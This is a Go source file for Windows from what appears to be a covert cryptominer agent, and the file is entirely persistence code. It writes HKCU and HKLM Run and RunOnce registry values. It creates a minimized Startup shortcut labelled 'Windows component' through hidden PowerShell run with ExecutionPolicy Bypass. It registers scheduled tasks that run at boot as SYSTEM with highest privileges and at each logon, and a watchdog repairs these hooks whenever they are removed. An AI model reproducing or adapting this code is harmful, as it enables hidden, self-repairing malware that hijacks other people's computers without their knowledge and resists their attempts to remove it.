//go:build windows package deploy import ( "fmt" "os" "path/filepath" "strings" "crypto-miner-agent/config" ) // applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart). // Triggers: first install (InstallIfNeeded) after binary copy. func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error { return ensureAutostartHooks(cfg, binPath, false) } // ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks. func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error { for _, mode := range effectiveAutostartModes(cfg) { if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil { return err } } return nil } func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error { switch mode { case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun: if healOnly && registryRunValueExists(cfg, mode, binPath) { return nil } return writeRegistryRunValue(cfg, mode, binPath) case AutostartLogonStartupFolder: if healOnly && startupShortcutExists(cfg) { return nil } return createLogonStartupShortcut(cfg, binPath) case AutostartBootTask: name := autostartBootTaskName(cfg) if healOnly && scheduledTaskExists(name) { return nil } return createBootScheduledTask(cfg, binPath, name) case AutostartLogonTask: name := autostartLogonTaskName(cfg) if healOnly && scheduledTaskExists(name) { return nil } return createLogonScheduledTask(cfg, binPath, name) default: return nil } } func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error { startupDir, err := userStartupFolder() if err != nil { return err } if err := os.MkdirAll(startupDir, 0755); err != nil { return fmt.Errorf("startup folder: %w", err) } lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg)) ps := fmt.Sprintf(` $ws = New-Object -ComObject WScript.Shell $lnk = $ws.CreateShortcut('%s') $lnk.TargetPath = '%s' $lnk.Arguments = '%s' $lnk.WindowStyle = 7 $lnk.Description = 'Windows component' $lnk.Save() `, strings.ReplaceAll(lnkPath, `'`, `''`), strings.ReplaceAll(binPath, `'`, `''`), strings.ReplaceAll(runFlag, `'`, `''`), ) return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) } func userStartupFolder() (string, error) { appData := os.Getenv("APPDATA") if appData == "" { return "", fmt.Errorf("APPDATA not set") } return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil } func startupShortcutExists(cfg config.RuntimeConfig) bool { dir, err := userStartupFolder() if err != nil { return false } _, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg))) return err == nil } func scheduledTaskTrigger(binPath string) string { return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag) } // createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run). func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error { tr := scheduledTaskTrigger(binPath) return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F") } // createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name. func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error { tr := scheduledTaskTrigger(binPath) return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED") } func removeAutostartExtras(cfg config.RuntimeConfig) { removeRegistryPersistence(cfg) _ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F") _ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F") if dir, err := userStartupFolder(); err == nil { _ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg))) } }